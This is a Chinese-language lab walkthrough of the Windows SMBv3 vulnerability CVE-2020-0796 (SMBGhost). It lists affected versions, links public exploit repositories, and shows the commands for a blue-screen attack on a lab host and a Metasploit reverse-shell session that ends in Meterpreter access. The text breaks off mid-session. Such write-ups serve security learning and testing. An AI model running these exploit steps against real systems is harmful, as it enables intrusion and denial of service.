即17年永恒之蓝后,又爆出永恒之黑,445不愧是安全工程师的噩梦。
漏洞简介
Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Server Message Block是其中的一个服务器信息传输协议。
Microsoft Server Message Block 3.1.1 (SMBv3)版本中存在输入验证错误漏洞,该漏洞源于SMBv3协议在处理恶意压缩数据包时,进入了错误流程。远程未经身份验证的攻击者可利用该漏洞在应用程序中执行任意代码。以下产品及版本受到影响:Microsoft Windows 10版本1903,Windows Server版本1903,Windows 10版本1909,Windows Server版本1909。
受影响版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
实践
所需工具与镜像下载地址:
win10:ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
CVE-2020-0796代码执行/POC:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
CVE-2020-0796代码执行/EXP:https://github.com/chompie1337/SMBGhost_RCE_PoC
CVE-2020-0796蓝屏攻击/EXP:https://github.com/eerykitty/CVE-2020-0796-PoC
CVE-2020-0796本地提权/EXP:https://github.com/danigargu/CVE-2020-0796
环境的搭建:
kali | 192.168.142.19 |
---|---|
Win10 | 192.168.142.61 |
windows版本信息(记得关闭防火墙):
所需软件:
蓝屏攻击:
这里使用刚刚下载的EXP进行攻击:
对win10系统进行攻击:
//安装依赖库
python3 setup.py install
//运行程序
python3 CVE-2020-0796.py 192.168.142.61
本地提权:
这里的本地提权可以使用msf自带模块进行操作,这里就通过msf进行测试,GitHub上的程序就不测试了:
msf6 exploit(multi/handler) > set lhost 192.168.142.19
lhost => 192.168.142.19
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.142.19:4444
[*] Sending stage (200262 bytes) to 192.168.142.61
[*] Meterpreter session 2 opened (192.168.142.19:4444 -> 192.168.142.61:51757) at 2020-11-08 15:28:20 +0800
meterpreter >
meterpreter > getuid
Server username: DESKTOP-RL1VAD8\wy
meterpreter